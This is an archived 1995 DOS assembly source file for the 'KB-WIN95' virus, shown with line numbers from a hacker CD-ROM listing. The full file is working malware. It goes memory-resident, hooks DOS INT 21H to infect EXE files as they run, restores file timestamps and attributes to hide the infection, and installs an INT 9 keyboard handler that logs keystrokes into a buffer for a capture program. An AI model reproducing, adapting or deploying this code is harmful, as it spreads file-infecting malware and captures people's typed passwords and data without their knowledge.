home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / KBWIN95 / KBWIN95.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-06-06  |  25.9 KB  |  582 lines

  1. ;The KB-WIN95 Virus, Version 1.10
  2.  
  3. ;(C) 1995 by American Eagle Publications, Inc.
  4. ;All rights reserved.
  5.  
  6. .RADIX 16
  7.  
  8. dseg0000        SEGMENT at 00000
  9. intff_Ofs       EQU     003FCH
  10. intff_Seg       EQU     003FEH
  11. dseg0000        ENDS
  12.  
  13.  
  14.  
  15. ENVSEG          EQU     2CH                     ;environment segment loc (in PSP)
  16.  
  17. ;******************************************************************************
  18. ;The following segment is the host program, which the virus has infected.
  19. ;Since this is an EXE file, the program appears unaltered, but the startup
  20. ;CS:IP in the EXE header does not point to it.
  21.  
  22. host_code       SEGMENT byte
  23.                 ASSUME CS:host_code
  24.  
  25.                 ORG     0
  26. HOST:
  27.                 MOV     AX,4C00H                ;viral host program
  28.                 INT     21H                     ;just terminates
  29.  
  30. host_code       ENDS
  31.  
  32. vgroup          GROUP virus_code, sseg, v_data
  33.  
  34. virus_code      SEGMENT byte
  35.                 ASSUME CS:virus_code, SS:vgroup
  36.  
  37. ;******************************************************************************
  38. ;The following is a data area for the virus
  39.  
  40. SIGNATURE       DB      'KBWin'                 ;already infected file signature
  41.  
  42. OLD_INT9_OFS    DW      0                       ;Original Int 8 vector, from
  43. OLD_INT9_SEG    DW      0                       ;before virus took it over
  44. OLD_INT21_OFS   DW      0                       ;Original Int 21H vector, from
  45. OLD_INT21_SEG   DW      0                       ;before virus took it over
  46.  
  47. RETURN_LOC_OFS  DW      0                       ;return ofs from int 21 fctn DE
  48. RETURN_LOC_SEG  DW      0                       ;return seg from int 21 fctn DE
  49.  
  50. SEG_VAR1        DW      0
  51. BLOCKS          DW      80H                     ;Blocks of memory virus takes up
  52.  
  53. ;The following is the control block for the DOS EXEC function. It is used by
  54. ;the virus to execute the host program after it installs itself in memory.
  55. EXEC_BLK        DW      0                       ;seg @ of environment string
  56.                 DW      80H                     ;4 byte ptr to command line
  57. SEG_VAR2        DW      2345H
  58.                 DW      5CH                     ;4 byte ptr to first FCB
  59. SEG_VAR3        DW      2345H
  60.                 DW      6CH                     ;4 byte ptr to second FCB
  61. SEG_VAR4        DW      2345H
  62.  
  63. SP_INIT         DW      400                     ;Pre-infection SP startup val
  64. SS_INIT         DW      7                       ;Pre-infection SS startup val
  65.  
  66. IP_INIT         DW      OFFSET HOST             ;Pre-infection IP startup val
  67. CS_INIT         DW      0                       ;Pre-infection CS startup val
  68.                                                 ;Don't move the host!
  69.  
  70. old_ff_ofs      DW      0                       ;save old int FF offset here
  71. old_ff_seglo    DW      0                       ;and seg low byte here
  72.  
  73. EXE_FLAG        DB      1                       ;flag to tell COM or EXE file
  74.  
  75. EXE_HEADER_BUF  DB      0,0                     ;Buffer for EXE hdr of file
  76. EH_LST_PG_SIZE  DW      0                       ;now being infected
  77. EH_PAGES        DW      0                       ;page count
  78.                 DW      0
  79. EH_HDR_PARAS    DW      0                       ;header size in paragraphs
  80.                 DB      4 dup (0)
  81. EH_SS_INIT      DW      0                       ;Stack seg init value
  82. EH_SP_INIT      DW      0                       ;Stack ptr init value
  83. EH_CHECKSUM     DW      0                       ;Header checksum
  84. EH_IP_INIT      DW      0                       ;Instr ptr init value
  85. EH_CS_INIT      DW      0                       ;Code seg init value
  86.  
  87.                 DB      22,0,0,0
  88. FILE_BUF        DB      0B8,0,4C,0CDH,21        ;buffer for file reading
  89.  
  90. FILE_HANDLE     DW      0                       ;open file handle saved here
  91. FILE_ATTR       DW      0                       ;orig attacked file attr
  92. FILE_DATE       DW      0                       ;orig attacked file date
  93. FILE_TIME       DW      0                       ;orig attacked file time
  94.  
  95. EXE_PG_SIZE     DW      200                     ;Size of a page in exe header
  96.                                                 ;Why a variable??
  97.  
  98. PAGE_16         DW      10                      ;Size of a memory page
  99.                                                 ;Why a variable?
  100.  
  101. EXE_SIZE_LO     DW      0                       ;size of EXE file being infected
  102. EXE_SIZE_HI     DW      0
  103.  
  104. ASCIIZ_OFS      DW      0                       ;@ of asciiz string on int 21/4B
  105. ASCIIZ_SEG      DB      0
  106.  
  107. COMMAND_FILE    DB      'COMMAND.COM'           ;COMMAND.COM name
  108.  
  109. ;******************************************************************************
  110. ;When attached to an EXE, the virus starts execution here.
  111.  
  112. EXE_START       PROC NEAR
  113.                 CLD
  114.                 MOV     AX,ES
  115.                 ADD     AX,0010H                ;add 10 to find start of EXE
  116.                 ADD     WORD PTR CS:CS_INIT,AX  ;code, and relocate this
  117.                 ADD     WORD PTR CS:SS_INIT,AX  ;and this
  118.                 MOV     WORD PTR CS:SEG_VAR1,ES ;used for storage, and for
  119.                 MOV     WORD PTR CS:SEG_VAR2,ES ;an EXEC function ctrl block
  120.                 MOV     WORD PTR CS:SEG_VAR3,ES
  121.                 MOV     WORD PTR CS:SEG_VAR4,ES
  122.                 MOV     AX,04B38H               ;see if virus is resident
  123.                 INT     21H                     ;by trying to call it
  124.                 CMP     AX,0300H
  125.                 JNE     NOT_INSTALLED_YET       ;not resident, go resident
  126.  
  127. ;Virus is in memory already, so just pass control to host
  128.                 MOV     SS,WORD PTR CS:SS_INIT  ;set stack up for return
  129.                 MOV     SP,WORD PTR CS:SP_INIT  ;to host
  130.                 JMP     DWORD PTR CS:IP_INIT    ;and jump to host
  131.  
  132. ;If we come here, the virus is not in memory, so we are going to put it there.
  133. NOT_INSTALLED_YET:
  134.                 XOR     AX,AX
  135.                 MOV     ES,AX                   ;es=0
  136.         ASSUME  ES:dseg0000
  137.                 MOV     AX,ES:[intFF_Seg]      ;are all that's used
  138.                 MOV     CS:[old_FF_seglo],AX
  139.                 MOV     AX,WORD PTR ES:[intFF_Ofs]      ;save old int FF
  140.                 MOV     WORD PTR CS:[old_FF_ofs],AX     ;actually only 3 bytes
  141.                 MOV     WORD PTR ES:intff_Ofs,0A5F3H    ;put "rep movsw" here
  142.                 MOV     BYTE PTR ES:intff_Seg,0CBH      ;put "retf" here
  143.                 MOV     AX,DS                   ;Get PSP from DS
  144.                 ADD     AX,10H
  145.                 MOV     ES,AX                   ;point to start of program code
  146.                 PUSH    CS
  147.                 POP     DS                      ;ds=cs
  148.                 MOV     CX,OFFSET vgroup:END_VIRUS      ;bytes in virus (to move)
  149.                 inc     cx
  150.                 SHR     CX,1                    ;set up for rep movsw
  151.                 XOR     SI,SI
  152.                 MOV     DI,SI                   ;di=si=0
  153.                 PUSH    ES                      ;return to relocated virus
  154.                 MOV     AX,OFFSET JUMP_RETURN
  155.                 PUSH    AX
  156.                 DB      0EA,0FC,03,00,00        ;jmp far ptr INTFF_OFS
  157.  
  158. ;The rep movsw at INT FF here moves the virus to offset 100H in the PSP. That
  159. ;only really does something when the code is attached to an EXE file. For COM
  160. ;files, the virus is at the start of the code anyhow, so the move has no effect.
  161. ;Once moved, the virus must go resident. The following code accomplishes this.
  162.  
  163. JUMP_RETURN:    MOV     AX,CS                   ;return from move
  164.                 MOV     SS,AX
  165.                 MOV     SP,OFFSET vgroup:STACK_END     ;initialize the stack for
  166.                 XOR     AX,AX                   ;self contained virus
  167.                 MOV     DS,AX                   ;ds=0
  168.                 MOV     AX,WORD PTR CS:[old_FF_ofs]     ;restore int FF value
  169.         ASSUME  DS:dseg0000
  170.                 MOV     WORD PTR DS:[intFF_Ofs],AX
  171.                 MOV     AL,BYTE PTR CS:[old_FF_seglo]
  172.                 MOV     BYTE PTR DS:[intFF_Seg],AL
  173.                 MOV     BX,SP                   ;sp=top of the virus-16
  174.                 MOV     CL,4
  175.                 SHR     BX,CL
  176.                 ADD     BX,11H                  ;bx=sp/16+32=mem blocks needed
  177.                 MOV     WORD PTR CS:[BLOCKS],BX
  178.                 MOV     AH,4AH
  179.                 MOV     ES,WORD PTR CS:SEG_VAR1 ;set es=PSP
  180.                 INT     21H                     ;reduce memory to virus size
  181.  
  182.                 MOV     AX,3521H                ;now hook interrupt 21H
  183.                 INT     21H                     ;get old vector
  184.                 MOV     WORD PTR CS:OLD_INT21_OFS,BX    ;and save it here
  185.                 MOV     WORD PTR CS:OLD_INT21_SEG,ES
  186.                 PUSH    CS
  187.                 POP     DS
  188.                 MOV     DX,OFFSET VIR_INT21     ;and change vector to here
  189.                 MOV     AX,2521H
  190.                 INT     21H
  191.  
  192.                 mov     ax,3509H                ;install keyboard interrupt handler
  193.                 int     21H
  194.                 mov     OLD_INT9_OFS,bx
  195.                 mov     OLD_INT9_SEG,es
  196.                 mov     dx,OFFSET INT_9
  197.                 mov     ax,2509H
  198.                 int     21H
  199.  
  200. ;Now we get set up for a DOS EXEC call
  201.         ASSUME  DS:virus_code
  202.                 MOV     ES,WORD PTR DS:SEG_VAR1 ;es=PSP
  203.                 MOV     ES,WORD PTR ES:[ENVSEG] ;get environment segment
  204.                 XOR     DI,DI                   ;search environment for this
  205.                 MOV     CX,7FFFH                ;file's name
  206.                 XOR     AL,AL                   ;al=0
  207. SRCH_LP:        REPNZ   SCASB                   ;flags = AL - ES:[DI]
  208.                 CMP     BYTE PTR ES:[DI],AL     ;a double zero? (envir end)
  209.                 LOOPNZ  SRCH_LP                 ;loop if not
  210.                 MOV     DX,DI
  211.                 ADD     DX,3                    ;dx=offset of this pgm's path
  212.                 MOV     AX,4B00H                ;setup DOS EXEC function
  213.  
  214.                 PUSH    ES
  215.                 POP     DS                      ;ds=es=environment seg
  216.                 PUSH    CS
  217.                 POP     ES                      ;es=cs=here
  218.                 MOV     BX,OFFSET EXEC_BLK      ;all ready for EXEC now
  219.  
  220.                                                 ;now EXEC the (infected) host pgm
  221.                 PUSHF                           ;simulate int 21H to real hndlr
  222.                 CALL    DWORD PTR CS:OLD_INT21_OFS
  223.                 PUSH    DS
  224.                 POP     ES                      ;es=ds (for DOS call)
  225.                 MOV     AH,49H                  ;free memory from EXEC
  226.                 INT     21H
  227.                 MOV     AH,4DH                  ;get return code from host
  228.                 INT     21H
  229.                 MOV     AH,31H
  230.                 MOV     DX,OFFSET vgroup:END_VIRUS ;virus size
  231.                 MOV     CL,4
  232.                 SHR     DX,CL
  233.                 ADD     DX,11H                  ;number of paragraphs to save
  234.                 INT     21H                     ;go TSR
  235.  
  236. EXE_START       ENDP
  237.  
  238. ;*****************************************************************************
  239. ;All of the following are interrupt handlers for the virus.
  240.  
  241. INCLUDE DEFS.ASM
  242.  
  243. ;This is the keyboard handler. It puts keystrokes in the buffer to be picked
  244. ;up by the capture program.
  245. INT_9:
  246.         push    ax
  247.         in      al,60H
  248.         push    ax
  249.         pushf
  250.         call    DWORD PTR cs:[OLD_INT9_OFS]
  251.         pop     ax
  252.         and     al,80H
  253.         jnz     I9EX
  254.         cli
  255.         push    ds
  256.         push    si
  257.         push    cx
  258.         push    bx
  259.         push    ax
  260.         xor     ax,ax
  261.         mov     ds,ax
  262.         mov     bx,41CH
  263.         mov     bx,[bx]
  264.         sub     bx,2
  265.         cmp     bx,1CH
  266.         jne     I91
  267.         mov     bx,3CH
  268. I91:    add     bx,400H
  269.         mov     ax,[bx]         ;get word just put in key buffer
  270.         mov     bx,BUF_LOC+2
  271.         add     WORD PTR [bx],2
  272.         mov     bx,[bx]
  273.         sub     bx,2
  274.         cmp     bx,BUF_SIZE
  275.         jg      I9X
  276.         add     bx,BUF_LOC+4
  277.         mov     [bx],ax
  278.  
  279. I9X:    pop     ax
  280.         pop     bx
  281.         pop     cx
  282.         pop     si
  283.         pop     ds
  284. I9EX:   pop     ax
  285.         iret
  286.  
  287.  
  288. ;Viral interrupt 21H handler
  289. ;This interrupt handler traps function 4B.
  290.  
  291. VIR_INT21       PROC NEAR
  292.                 PUSHF                           ;save flags
  293.                 CMP     AX,04B38H               ;functio 4B38H?
  294.                 JNE     NOT_4B38                ;no, go check for others
  295.                 MOV     AX,300H                 ;yes, set present flag, ax=300H
  296.                 POPF                            ;restore flags
  297.                 IRET                            ;and exit
  298. NOT_4B38:
  299.                 CMP     AX,4B00H                ;function 4B, subfctn 0
  300.                 JNE     EXIT_VINT21             ;nope, just exit
  301.                 JMP     NEAR PTR INTERCEPT_4B   ;else go handle 4B
  302. EXIT_VINT21:    POPF                            ;restore flags
  303.                 JMP     DWORD PTR CS:OLD_INT21_OFS      ;and pass ctrl to DOS
  304.  
  305. ;Function 4B Handler, control passed here first
  306. INTERCEPT_4B:
  307.                 MOV     WORD PTR CS:FILE_HANDLE,0FFFFH  ;initialize handle
  308.                 MOV     WORD PTR CS:ASCIIZ_OFS,DX       ;save @ of file name
  309.                 MOV     WORD PTR CS:ASCIIZ_SEG,DS
  310.                 PUSH    AX                      ;and save everything
  311.                 PUSH    BX
  312.                 PUSH    CX
  313.                 PUSH    DX
  314.                 PUSH    SI
  315.                 PUSH    DI
  316.                 PUSH    DS
  317.                 PUSH    ES
  318.                 CLD
  319.                 MOV     DI,DX                   ;put file name offset in di
  320.                 XOR     DL,DL                   ;prep for disk space call
  321.                 CMP     BYTE PTR [DI+1],3AH     ;is drive specified in string?
  322.                 JNE     CURR_DRIVE              ;no, use current drive
  323.                 MOV     DL,BYTE PTR [DI]        ;else get drive letter in dl
  324.                 AND     DL,1FH                  ;and make it binary
  325. CURR_DRIVE:     MOV     AH,36H
  326.                 INT     21H                     ;get free disk space
  327.                 CMP     AX,0FFFFH               ;see if an error
  328.                 JNE     OK1
  329. LOCAL_ERR1:     JMP     NEAR PTR GET_OUT_NOW    ;go handle error
  330. OK1:            MUL     BX                      ;ax*bx=available sectors
  331.                 MUL     CX                      ;ax*bx*cx=available bytes
  332.                 OR      DX,DX                   ;if dx<>0, plenty of space
  333.                 JNE     OK2
  334.                 CMP     AX,OFFSET vgroup:END_VIRUS      ;need at least this many bytes
  335.                 JB      LOCAL_ERR1              ;if not enough, handle error
  336.  
  337. ;If we get here, there is enough room on disk to infect a file.
  338. OK2:            MOV     DX,WORD PTR CS:ASCIIZ_OFS       ;get file name @
  339.                 PUSH    DS
  340.                 POP     ES                      ;es=ds
  341.                 XOR     AL,AL
  342.                 MOV     CX,41H
  343.                 REPNZ   SCASB                   ;set di=end of asciiz string
  344.  
  345.                 MOV     SI,WORD PTR CS:ASCIIZ_OFS
  346. UPCASE_LOOP:    MOV     AL,BYTE PTR [SI]        ;make the file name upper case
  347.                 OR      AL,AL
  348.                 JE      OK4                     ;done when al=0
  349.                 CMP     AL,61H                  ;skip non-lower case chars
  350.                 JB      NOT_LOWER
  351.                 CMP     AL,7AH
  352.                 JA      NOT_LOWER
  353.                 SUB     BYTE PTR [SI],20H       ;make upper case
  354. NOT_LOWER:      INC     SI                      ;do next char
  355.                 JMP     SHORT UPCASE_LOOP
  356.  
  357. ;Now string is upper case
  358. OK3:            MOV     CX,0BH                  ;check file name for COMMAND.COM
  359.                 SUB     SI,CX
  360.                 MOV     DI,OFFSET COMMAND_FILE  ;'COMMAND.COM' stored here
  361.                 PUSH    CS
  362.                 POP     ES
  363.                 MOV     CX,0BH                  ;redundant
  364.                 REPZ    CMPSB                   ;see if it is
  365.                 JNE     OK4                     ;no, carry on
  366.                 JMP     NEAR PTR GET_OUT_NOW    ;yes, don't infect!
  367.  
  368. ;It isn't COMMAND.COM either
  369. OK4:            MOV     AX,4300H                ;get file attribute
  370.                 INT     21H
  371.                 JB      ERHNDLR_1               ;problem, get out
  372.                 MOV     WORD PTR CS:FILE_ATTR,CX;save attribute here
  373. ERHNDLR_1:      JB      ERHNDLR_2               ;err handling is a big chain
  374.  
  375.                 XOR     AL,AL                   ;see whether COM or EXE file
  376.                 MOV     BYTE PTR CS:EXE_FLAG,AL ;assume COM
  377.                 PUSH    DS
  378.                 POP     ES
  379.                 MOV     DI,DX
  380.                 MOV     CX,41H
  381.                 REPNZ   SCASB                   ;go to end of string
  382.                 CMP     BYTE PTR [DI-2],4DH     ;is last byte M?
  383.                 JE      IS_COM                  ;yes, jump
  384.                 CMP     BYTE PTR [DI-2],6DH     ;is it m?
  385.                 JE      IS_COM                  ;yes, jump
  386.                 INC     BYTE PTR CS:EXE_FLAG    ;set flag = 1 for an EXE file
  387. IS_COM:         MOV     AX,3D00H                ;open the file now
  388.                 INT     21H                     ;DS:DX=name, still
  389. ERHNDLR_2:      JB      ERHNDLR_3               ;problem, get out
  390.                 MOV     WORD PTR CS:FILE_HANDLE,AX      ;save handle here
  391.  
  392.                 MOV     BX,AX                   ;move to end of file - 5
  393.                 MOV     AX,4202H
  394.                 MOV     CX,0FFFFH               ;offset in cx:dx = - 5
  395.                 MOV     DX,0FFFBH
  396.                 INT     21H
  397.                 JB      ERHNDLR_2               ;problem, get out
  398.                 ADD     AX,0005H                ;dx:ax is new ptr location=eof
  399.                 MOV     CX,5
  400.                 MOV     DX,OFFSET FILE_BUF      ;buffer to read file into
  401.                 MOV     AX,CS
  402.                 MOV     DS,AX
  403.                 MOV     ES,AX                   ;es=ds=cs
  404.                 MOV     AH,3FH
  405.                 INT     21H                     ;read last 5 bytes of file
  406.                 MOV     DI,DX                   ;they should be 'KBWin'
  407.                 MOV     SI,OFFSET SIGNATURE
  408.                 REPZ    CMPSB                   ;compare with SIGNATURE
  409.                 JNE     OK5                     ;ok, not infected
  410.                 MOV     AH,3EH                  ;already infected
  411.                 INT     21H                     ;close file
  412.                 JMP     NEAR PTR GET_OUT_NOW    ;and don't re-infect
  413.  
  414. ;File is not already infected
  415. OK5:
  416.                 LDS     DX,DWORD PTR ASCIIZ_OFS ;get file name in ds:dx
  417.                 XOR     CX,CX
  418.                 MOV     AX,4301H                ;set file attribute to normal,
  419.                 INT     21H                     ;and r/w
  420. ERHNDLR_3:      JB      ERHNDLR_4               ;problem, get out
  421.                 MOV     BX,WORD PTR CS:FILE_HANDLE ;
  422.                 MOV     AH,3EH                  ;close/open to make sure
  423.                 INT     21H                     ;you can write to it
  424.                 MOV     WORD PTR CS:FILE_HANDLE,0FFFFH
  425.                 MOV     AX,3D02H
  426.                 INT     21H
  427.                 JB      ERHNDLR_4               ;error, get out
  428.                 MOV     WORD PTR CS:FILE_HANDLE,AX      ;save new handle
  429.  
  430.                 MOV     AX,CS                   ;es=ds=cs
  431.                 MOV     DS,AX
  432.                 MOV     ES,AX
  433.                 MOV     BX,WORD PTR FILE_HANDLE
  434.                 MOV     AX,5700H                ;save date/time of file
  435.                 INT     21H                     ;get it
  436.                 MOV     WORD PTR DS:FILE_DATE,DX;save it here
  437.                 MOV     WORD PTR DS:FILE_TIME,CX
  438.                 MOV     AX,4200H                ;set file ptr to start of file
  439.                 XOR     CX,CX
  440.                 MOV     DX,CX
  441.                 INT     21H
  442. ERHNDLR_4:      JB      ERHNDLR_7               ;error, get out
  443.                 CMP     BYTE PTR DS:EXE_FLAG,0  ;is it a COM file?
  444.                 JNE     INFECT_EXE              ;yes, go infect a COM file
  445.  
  446.                 MOV     AH,3EH                  ;problem, close file
  447.                 MOV     BX,WORD PTR DS:FILE_HANDLE
  448.                 INT     21H
  449.                 JMP     NEAR PTR GET_OUT_NOW    ;and exit gracefully
  450.  
  451. ;The following routine handles infecting an EXE file. It does two things:
  452. ;(1) it reads the EXE header of the file into a buffer, and stores the startup
  453. ;values from the host, and sets them up for the virus. Then it writes the header
  454. ;back to the file. (2) it writes the virus code to the end of the file.
  455. INFECT_EXE:     MOV     CX,1CH                  ;read EXE header into buffer
  456.                 MOV     DX,OFFSET EXE_HEADER_BUF
  457.                 MOV     AH,3FH
  458.                 INT     21H
  459. ERHNDLR_7:      JB      ERHNDLR_8               ;problem, get out
  460.  
  461.                 MOV     WORD PTR EH_CHECKSUM,1984H ;checksum identifies jerus!
  462.  
  463.                 MOV     AX,EH_SS_INIT
  464.                 MOV     SS_INIT,AX              ;set up pointers for ss:sp for
  465.                 MOV     AX,EH_SP_INIT
  466.                 MOV     SP_INIT,AX              ;after virus executes
  467.                 MOV     AX,EH_IP_INIT
  468.                 MOV     IP_INIT,AX              ;same for cs:ip
  469.                 MOV     AX,DS:EH_CS_INIT
  470.                 MOV     DS:CS_INIT,AX
  471.  
  472.                 MOV     AX,EH_PAGES             ;now compute EXE size
  473.                 CMP     EH_LST_PG_SIZE,0
  474.                 JE      SKIPDEC
  475.                 DEC     AX
  476. SKIPDEC:        MUL     EXE_PG_SIZE
  477.                 ADD     AX,EH_LST_PG_SIZE
  478.                 ADC     DX,0                    ;ax:dx=size of EXE file
  479.                 ADD     AX,0FH
  480.                 ADC     DX,0                    ;adjust up to even page
  481.                 AND     AX,0FFF0H
  482.  
  483.                 MOV     EXE_SIZE_LO,AX          ;save size here
  484.                 MOV     EXE_SIZE_HI,DX
  485.                 ADD     AX,OFFSET vgroup:END_VIRUS      ;add size of JERUSALEM
  486.                 ADC     DX,0
  487. ERHNDLR_8:      JB      ERHNDLR_9               ;too big (never!), exit
  488.                 DIV     EXE_PG_SIZE             ;calculate new page count
  489.                 OR      DX,DX                   ;and last page size for EXE
  490.                 JE      SKIPINC
  491.                 INC     AX
  492. SKIPINC:        MOV     EH_PAGES,AX             ;and put it back in
  493.                 MOV     EH_LST_PG_SIZE,DX
  494.  
  495.                 MOV     AX,EXE_SIZE_LO          ;get original file size
  496.                 MOV     DX,EXE_SIZE_HI
  497.                 DIV     PAGE_16                 ;divide by 16
  498.                 SUB     AX,EH_HDR_PARAS         ;get size of EXE code (not hdr)
  499.                 MOV     EH_CS_INIT,AX           ;in para's, and use to set up
  500.                 MOV     EH_IP_INIT,OFFSET EXE_START
  501.                 MOV     EH_SS_INIT,AX           ;initial cs:ip, ss:sp
  502.  
  503.                 MOV     EH_SP_INIT,OFFSET vgroup:STACK_END      ;set initial sp
  504.                 XOR     CX,CX                   ;go to beginning of file to
  505.                 MOV     DX,CX                   ;infect
  506.                 MOV     AX,4200H
  507.                 INT     21H
  508. ERHNDLR_9:      JB      ERHNDLR_10              ;problem, get out
  509.  
  510.                 MOV     CX,1CH                  ;write new exe header
  511.                 MOV     DX,OFFSET EXE_HEADER_BUF
  512.                 MOV     AH,40H
  513.                 INT     21H
  514. ERHNDLR_10:     JB      ERHNDLR_11              ;error, get out
  515.                 CMP     AX,CX                   ;correct no of bytes written?
  516.                 JNE     INFECT_DONE             ;no, get out, file damaged
  517.  
  518.                 MOV     DX,EXE_SIZE_LO          ;ok, go to end of file
  519.                 MOV     CX,EXE_SIZE_HI
  520.                 MOV     AX,4200H
  521.                 INT     21H
  522. ERHNDLR_11:     JB      INFECT_DONE             ;error, file corrupt, exit
  523.                 XOR     DX,DX                   ;write virus to end of
  524.                 MOV     CX,OFFSET vgroup:END_VIRUS      ;file being infected
  525.                 MOV     AH,40H
  526.                 INT     21H                     ;that's it, the file is infected
  527.  
  528. ;The infection process is complete when we reach here, for both COM and EXE
  529. ;files. This routine cleans up.
  530. INFECT_DONE:
  531.                 CMP     WORD PTR CS:FILE_HANDLE,-1 ;see if file is open
  532.                 JE      GET_OUT_NOW             ;no, we had an error, so exit
  533.  
  534.                 MOV     BX,WORD PTR CS:FILE_HANDLE
  535.                 MOV     DX,WORD PTR CS:FILE_DATE
  536.                 MOV     CX,WORD PTR CS:FILE_TIME
  537.                 MOV     AX,5701H                ;reset file date/time to orig
  538.                 INT     21H
  539.  
  540.                 MOV     AH,3EH                  ;close the file
  541.                 INT     21H
  542.  
  543.                 LDS     DX,DWORD PTR CS:ASCIIZ_OFS
  544.                 MOV     CX,WORD PTR CS:FILE_ATTR
  545.                 MOV     AX,4301H                ;reset file attribute to
  546.                 INT     21H                     ;pre-infection values
  547.  
  548. ;This routine just passes control to DOS to let it handle the EXEC (4B) function
  549. ;after the virus has done what it wants to do.
  550. GET_OUT_NOW:    POP     ES                      ;restore registers
  551.                 POP     DS
  552.                 POP     DI
  553.                 POP     SI
  554.                 POP     DX
  555.                 POP     CX
  556.                 POP     BX
  557.                 POP     AX
  558.                 POPF
  559.                 JMP     DWORD PTR CS:OLD_INT21_OFS      ;give DOS control
  560.  
  561. VIR_INT21       ENDP
  562.  
  563. virus_code      ENDS
  564.  
  565.  
  566. sseg            SEGMENT byte STACK
  567.  
  568. ;The following bytes are for stack space
  569.  
  570. STACK_BYTES     DB      267D DUP (0)
  571. STACK_END       EQU     $
  572.  
  573. sseg            ENDS
  574.  
  575. v_data          SEGMENT byte
  576.                 DB      'KBWin'
  577. END_VIRUS       EQU     $                           ;label for end of virus
  578. v_data          ENDS
  579.  
  580.                 END     EXE_START
  581.  
  582.